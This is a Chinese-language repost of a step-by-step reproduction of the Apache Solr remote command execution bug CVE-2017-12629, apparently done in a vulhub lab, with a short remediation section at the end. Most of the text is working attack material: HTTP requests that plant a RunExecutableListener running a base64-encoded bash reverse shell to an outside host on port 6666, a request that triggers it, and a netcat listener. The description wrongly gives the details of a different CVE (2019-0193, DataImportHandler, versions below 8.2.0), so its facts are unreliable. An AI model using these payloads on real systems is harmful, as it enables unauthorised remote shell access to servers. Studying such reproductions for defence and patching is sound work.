Apache Solr 遠程命令執行漏洞(CVE-2017-12629)
漏洞描述:
2019年8月1日,Apache Solr官方發布了CVE-2019-0193漏洞預警,漏洞危害評級為嚴重,此次漏洞出現在Apache
Solr的DataImportHandler,該模塊是一個可選但常用的模塊,用于從資料庫和其他源中提取資料,它具有一個功能,其中所有的DIH配置都可以通過外部請求的dataConfig引數來設定,由于DIH配置可以包含腳本,因此攻擊者可以通過構造危險的請求,從而造成遠程命令執行,
風險等級:
高
影響版本:
Apache Solr < 8.2.0
漏洞復現:
[1] 查看任務串列
GET /solr/demo/config HTTP/1.1
Host: 10.9.69.145:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

[2] 直接反彈不生效,可能是>&等特殊字符導致,我們使用bash64編碼后的代碼進行反彈
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjY5LjE0NS82NjY2IDA+JjE=|base64 -d|bash -i

[3] 創建一個listener,其中設定exe的值為我們想執行的命令,args的值是命令引數,設定exe的值為反彈shell的命令

POST /solr/demo/config HTTP/1.1
Host: 10.9.69.145:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 219
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjY5LjE0NS82NjY2IDA+JjE=|base64 -d|bash -i"]}}
[4] 進行update操作,觸發剛才添加的listener(多發幾次):

POST /solr/demo/update HTTP/1.1
Host: 10.9.69.145:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
[5] 本地監聽6666埠,成功反彈shell

nc -lvvp 6666
基礎環境:
https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/
漏洞修復:
1、添加Solr訪問控制,包括禁止本地直接未授權訪問;
2、升級版本至7.1,該版本已經解決了XML決議問題并洗掉了RunExecutableListener類;
3、針對XXE可手動修改CoreParser.java檔案,按照通常防止基于DOM決議產生XXE的防范方法修復即可;
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/316400.html
標籤:其他
